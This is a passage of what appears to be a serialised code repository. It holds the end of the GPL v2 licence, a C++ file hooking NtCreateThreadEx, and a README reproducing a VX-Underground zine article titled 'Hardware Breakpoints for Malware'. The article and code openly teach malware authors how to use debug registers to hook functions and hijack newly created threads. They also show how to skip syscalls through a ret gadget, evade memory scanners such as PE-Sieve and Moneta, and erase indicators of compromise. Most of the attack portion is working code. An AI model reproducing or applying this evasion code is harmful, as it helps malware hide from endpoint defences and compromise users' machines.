copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n"
  },
  {
    "path": "NtCreateThreadExHook.cpp",
    "content": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                                  Detour Original Thread                              */\n//////////////////////////////////////////////////////////////////////////////////////////\n// 1) Disable HWBP for that thread\n// 2) Create thread with the correct arguments but for the (7th | against 0x1) to create suspended\n// 3) Get thread context on the Rcx which is the HANDLE output\n// 4) Modify context with the correct hwbp from global variable\n// 5) Set thread context with updated context\n// 6) Resume thread\n// 7) Restore our HWBP for our current thread\n// 8) Set our RAX value to the return valued from the detoured NtCreateThreadEx\n// 9) Set our RIP to a ret gadget so we avoid calling syscall again\n\n// Global Variable \nPVOID START_THREAD{ 0 };\n\n\n// capture original start address\nHWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L\"NTDLL.dll\"),\n\t\t\t\t\t\t\t\t\t\t  \"NtCreateThreadEx\"), 1,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\t\n\t// save original thread address\n\tSTART_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);\n\t// set the start address to our thread address \n\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;\n\t\n\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\n\t\n}) };\n\t\t\t\nDWORD WINAPI HijackThread(LPVOID lpParameter)\n{\n\ttypedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);\n\t\n\t// Set required HWBP\n\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, true);\n\t}\n\t\n\t// restore execution to original thread\n\treturn ((typeThreadProc)START_THREAD)(lpParameter);\n}\n\n\n//////////////////////////////////////////////////////////////////////////////////////////\n/*                                  Hook Suspended Thread                               */\n//////////////////////////////////////////////////////////////////////////////////////////\n\n// Find our ret ROP gadget \nuintptr_t FindRetAddr(const uintptr_t function)\n{\n\tBYTE stub[]{ 0xC3 };\n\tfor (unsigned int i = 0; i < (unsigned int)25; i++)\n\t{\t\n\t\t// do not worry this will be optimized\n\t\tif (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {\n\t\t\treturn (function + i);\n\t\t}\n\t}\n\treturn NULL;\n}\n\ntypedef LONG(NTAPI* typeNtCreateThreadEx)(\n\tOUT PHANDLE hThread,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN PVOID ObjectAttributes,\n\tIN HANDLE ProcessHandle,\n\tIN PVOID lpStartAddress,\n\tIN PVOID lpParameter,\n\tIN ULONG Flags,\n\tIN SIZE_T StackZeroBits,\n\tIN SIZE_T SizeOfStackCommit,\n\tIN SIZE_T SizeOfStackReserve,\n\tOUT PVOID lpBytesBuffer\n); \n\nHWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L\"NTDLL.dll\"),\n\t\t\t\t\t\t\t\t\t\t  \"NtCreateThreadEx\"), 1,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\n\t\t// temporary disable of NtCreateThreadEx in our current thread.\n\t\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\t\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, false);\n\t\t\t}\n\t\t}\n\n\t\t// create the original thread BUT suspended \n\t\t// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001\n\t\t// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)\n\t\tLONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(\n\t\t\t(PHANDLE)ExceptionInfo->ContextRecord->Rcx,\n\t\t\t(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,\n\t\t\t(PVOID)ExceptionInfo->ContextRecord->R8,\n\t\t\t(HANDLE)ExceptionInfo->ContextRecord->R9,\n\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),\n\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),\n\t\t\t(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,\n\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),\n\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),\n\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),\n\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)\n\t\t);\n\n\n\t\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\n\t\tGetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n\t\t\t&context);\n\t\t\n\t\t// Setup required HWBP\n\t\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\t\t(&context.Dr0)[i.second.pos] = i.first;\n\n\t\t\tcontext.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));\n\t\t\tcontext.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));\n\t\t\tcontext.Dr7 |= 1ull << (2 * i.second.pos);\n\t\t}\n\n\t\tSetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),\n\t\t\t&context);\n\n\t\tResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));\n\n\t\t// restore our HWBP on NtCreateThreadEx\n\t\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\t\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, false);\n\t\t\t}\n\t\t}\n\t\t\n\t\t// RAX contains the return value.\n\t\tExceptionInfo->ContextRecord->Rax = status;\n\n\t\t// Set RIP to a ret gadget to avoid creating \n\t\t// another new thread (skip syscall instruction) \n\t\tExceptionInfo->ContextRecord->Rip = \n\t\t\tFindRetAddr(ExceptionInfo->ContextRecord->Rip);\n}) };\n\n\n\n\n\n"
  },
  {
    "path": "README.md",
    "content": "This article was origininally for [VX-Underground Black Mass Halloween Edition 2022](https://papers.vx-underground.org/papers/Other/VXUG%20Zines/Black%20Mass%20Halloween%202022.pdf).\n\nHooking Engines:\n- [Multi-thread safe x86/x64 hwbp hooking engine c](HWBP.c)\n- [PAGE_GUARD/hwbp Breakpoint Library c++20](DRPGG.cpp)\n- [hwbp Library (DLL example) c++20](HWBPP.cpp)\n\nGeneric x64 user-land evasion technique utilizing debug registers:\n\n- [TamperingSyscalls2 c](TamperingSyscalls2.c)\n- [TamperingSyscalls2 c++20](TamperingSyscalls2.cpp)\n\nExample ETW/AMSI hooks available\n- [rad9800/misc](https://github.com/rad9800/misc/tree/main/hooks)\n\n## Hardware Breakpoints for Malware v 1.0 \n\nOur task is to trivially hook functions and divert the code flow as needed, and finally \nremove the hook once it is no longer needed. \n\nWe cannot look to apply IAT hooks as they are not always called and thus unreliable. \nInline hooking is a powerful technique; however, it requires we patch the memory where \nthe code lies. This is a powerful technique, but tools such as PE-Sieve and Moneta can \ndistinguish the difference in the memory resident and on-disk copy of a module and flag \nthis. This leaves us with the perfect tool for the job: Debug Registers, though they are \npretty underappreciated by malware authors!\n\nOn Windows, as a high-level overview, a process is essentially an encapsulation of\nthreads, and each of these threads maintains a context which is the thread's state: the\nregisters and stack etc. Debug registers are a privileged resource, and so is setting\nthem; however, Windows exposes various syscalls, which allow us to request that the\nkernel make a privileged action on our behalf; this includes setting debug registers\nwhich are perfect for us. NtSetThreadContext and NtGetThreadContext expose functionality\nto modify any thread context to which we can open a handle with the necessary privilege.\nWe can see how to set debug registers with the Win32 API.\n\n```c\n\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };\n\tGetThreadContext(thd, &context);\n\n\t// set our debug information in the Dr registers\n\n\tSetThreadContext(thd, &context);\n```\n\nThere are 8 Debug registers, from Dr0 through to Dr7. The ones of interest to us are only\nDr0-3 which we store addresses we would like to break on, and Dr6 is just the debug\nstatus. Most importantly is Dr7, which describes the breakpoints conditions in which the\nprocessor will throw an exception. There are various limitations when using debug\nregisters, such as a limited number (4) and not being applied to all threads/newly\nspawned threads. We will look to address some of these limitations!\n\nWhen the exception is thrown, it will look for an exception handler which we can define\nand register in our program [1]. In our defined exception handler, we want our associated\ncode (different code flows) to run when the corresponding breakpoint is triggered.\n\n```c\nLONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)\n{\n\tif (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)\n\t{\n\t\t// Look for our associated code flow relative to our RIP \n\t\tif (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {\n\t\t\tHWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);\n\t\t\treturn EXCEPTION_CONTINUE_EXECUTION;\n\t\t}\n\t}\n\treturn EXCEPTION_CONTINUE_SEARCH;\n}\n```\n\nThis is achieved by a constructor function that sets the mapping between a \"callback\"\nlambda function and an address.\nusing EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;\n\n```c\ntypedef struct {\n\tUINT\t\t\t\t\t\t\t\t\t\tpos;\n\tEXCEPTION_FUNC\t\t\t\t\t\t\t\tfunc;\n} HWBP_CALLBACK;\n\n// Global\nstd::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };\n\n// Create our mapping \nHWBP_ADDRESS_MAP[address].func = function;\nHWBP_ADDRESS_MAP[address].pos = pos;\n```\n\nWe must iterate through all our process threads and set the corresponding adjustments to\nthe context for them. This can be achieved using the ToolHelp32 helper functions:\nCreateToolhelp32Snapshot, and Thread32Next. This is nothing fancy, but it addresses one\nof our limitations of not attaching to all threads.\n\n```c\nVOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)\n{\n\tDWORD pid{ GetCurrentProcessId() };\n\tHANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };\n\tif (h != INVALID_HANDLE_VALUE) {\n\t\tTHREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };\n\t\tif (Thread32First(h, &te)) {\n\t\t\tdo {\n\t\t\t\tif ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +\n\t\t\t\t\tsizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {\n\n\t\t\t\t\tHANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);\n\t\t\t\t\tif (thd != INVALID_HANDLE_VALUE) {\n\t\t\t\t\t\tSetHWBP(thd, address, pos, init);\n\t\t\t\t\t\tCloseHandle(thd);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tte.dwSize = sizeof(te);\n\t\t\t} while (Thread32Next(h, &te));\n\t\t}\n\t\tCloseHandle(h);\n\t}\n}\n```\n\nHaving hardware breakpoints set are arguably suspicious as they may indicate malicious\nactivity (though no EDRs, to my knowledge, actively scan for them). They can be used\nagainst us as a potential IoC so we must remove their traces once we are done using them.\n\nWe can implement this in our deconstructor function!! This will iterate through all\nthreads and check if the register (&context.Dr0)[pos] points to the address at which we\ninitially set the hardware breakpoint (pos is just an index % 4 giving us access to the\ncontext.Dr0-Dr3). We can also remove the conditions needed in the Dr7 register. We must\nalso remember to remove our mapping entry. Therefore, our hardware breakpoint will only\nbe present for the required duration!\n```c\nSetHWBPS(address, pos, false);\nHWBP_ADDRESS_MAP.erase(address);\n```\nAn example hardware breakpoint would be Sleep, where we just replace the sleep duration\nwith 0.\n```c\nHWBP HWBPSleep{ (uintptr_t)&Sleep, 0,\t// Set Dr 0 \n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\t\tExceptionInfo->ContextRecord->Rcx = 0;\n\t\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\t// continue execution\n}) };\n```\nWe know to set RCX due to the x64 Windows four-register fast-call calling convention[1].\nThe first argument to the constructor is the address to break on, the second is which Dr0-\n3 register to store in (note, we can only have 4 addresses to break on at one time), and\nthe third is a lambda function which will capture by reference PEXCEPTION_POINTERS which\nis the information an exception handler will receive. This will ultimately let us control\nthe flow of a program differently depending on which breakpoint was triggered.\n\nWhen a new thread is created, it does not inherit the associated Debug Registers set\nunless we somehow manage to intercept the creation of a new thread! One neat trick we can\nuse would be to capture the actual start address and divert the new thread to create our\nown thread. The majority of new threads are ended up calling NtCreateThreadEx.\n```c\n// Global Variable \nPVOID START_THREAD{ 0 };\n\n\n// capture original start address\nHWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L\"NTDLL.dll\"),\n\t\t\t\t\t\t\t\t\t\t  \"NtCreateThreadEx\"), 1,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\t\n\t// save original thread address\n\tSTART_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);\n\t// set the start address to our thread address \n\t*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;\n\t\n\tExceptionInfo->ContextRecord->EFlags |= (1 << 16);\n\t\n}) };\n\t\t\t\nDWORD WINAPI HijackThread(LPVOID lpParameter)\n{\n\ttypedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);\n\t\n\t// Set required HWBP\n\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, true);\n\t}\n\t\n\t// restore execution to original thread\n\treturn ((typeThreadProc)START_THREAD)(lpParameter);\n}\n```\n\nOne limitation of this solution is that the call stack for the thread will originate in\nour injected DLL's HijackThread and not the original thread! Alternatively, a better\nsolution would be to call NtCreateThreadEx ourselves but start it in a suspended state\nand then set the required hardware breakpoints. Then we restore execution by resuming the\nsuspended thread with the debug registers set for this new thread. This will address\nanother limitation of using debug registers.\n\nTo call the instruction we have a breakpoint set on would trigger an infinite loop;\ntherefore, we temporarily disable the hardware breakpoint responsible for triggering our\ncurrent RIP. Then once we are done making the call, we can restore it. This will thus let\nus call the original function (like a trampoline). In this case, we must point our RIP to\na ret gadget so that it can return and not make another syscall instruction.\n\nThe 5th parameter, including and onwards, can be found pushed onto the stack at 0x8 byte\nintervals [2]. Our stack looks something like this when we trigger the breakpoint.\n```\n                ___________________________\n               |                           |\n               | 0x8 + lpBytesBuffer       |\n               |___________________________|\n               |                           |\n               | 0x8 + SizeOfStackReserve  |\n               |___________________________|\n               |                           |\n               | 0x8 + SizeOfStackCommit   |\n               |___________________________|\n               |                           |\n               | 0x8 + StackZeroBits       |\n               |___________________________|\n               |                           |\n               | 0x8 + Flags               |\n               |___________________________|\n               |                           |\n               | 0x8 + lpParameter         |\n               |___________________________|\n               |                           |\n               | 0x8 + lpStartAddress      |\nRSP + 0x28 +-> |___________________________|\n               |                           |\n               |                           |\n               |                           |  R9  +-> (HANDLE)ProcessHandle\n               | 0x20 + Shadow Store       |  R8  |-> (PVOID) ObjectAttributes\n               |                           |  RDX |-> (ACCESS_MASK) DesiredAccess\n               |                           |  RCX +-> (PHANDLE) hThread\n               |___________________________|\n               |                           |\n               | 0x8 + Call Ret Addr       |  RIP +-> NtCreateThreadEx\n       RSP +-> |___________________________|\n\n```\n```c\n// Find our ret ROP gadget \nuintptr_t FindRetAddr(const uintptr_t function)\n{\n\tBYTE stub[]{ 0xC3 };\n\tfor (unsigned int i = 0; i < (unsigned int)25; i++)\n\t{\t\n\t\t// do not worry this will be optimized\n\t\tif (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {\n\t\t\treturn (function + i);\n\t\t}\n\t}\n\treturn NULL;\n}\n\ntypedef LONG(NTAPI* typeNtCreateThreadEx)(\n\tOUT PHANDLE hThread,\n\tIN ACCESS_MASK DesiredAccess,\n\tIN PVOID ObjectAttributes,\n\tIN HANDLE ProcessHandle,\n\tIN PVOID lpStartAddress,\n\tIN PVOID lpParameter,\n\tIN ULONG Flags,\n\tIN SIZE_T StackZeroBits,\n\tIN SIZE_T SizeOfStackCommit,\n\tIN SIZE_T SizeOfStackReserve,\n\tOUT PVOID lpBytesBuffer\n); \n\nHWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L\"NTDLL.dll\"),\n\t\t\t\t\t\t\t\t\t\t  \"NtCreateThreadEx\"), 1,\n\t([&](PEXCEPTION_POINTERS ExceptionInfo) {\n\n\t\t// temporary disable of NtCreateThreadEx in our current thread.\n\t\tfor (auto& i : HWBP_ADDRESS_MAP) {\n\t\t\tif (i.first == ExceptionInfo->ContextRecord->Rip) {\t\n\t\t\t\tSetHWBP(GetCurrentThread(), i.first, i.second.pos, false);\n\t\t\t}\n\t\t}\n\n\t\t// create the original thread BUT suspended \n\t\t// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001\n\t\t// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)\n\t\tLONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(\n\t\t\t(PHANDLE)ExceptionInfo->ContextRecord->Rcx,\n\t\t\t(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,\n\t\t\t(PVOID)ExceptionInfo->ContextRecord->R8,\n\t\t\t(HANDLE)ExceptionInfo->ContextRecord->R9,\n\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),\n\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),\n\t\t\t(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,\n\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),\n\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),\n\t\t\t(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),\n\t\t\t(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)\n\t\t);\n\n\n\t\tCONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS 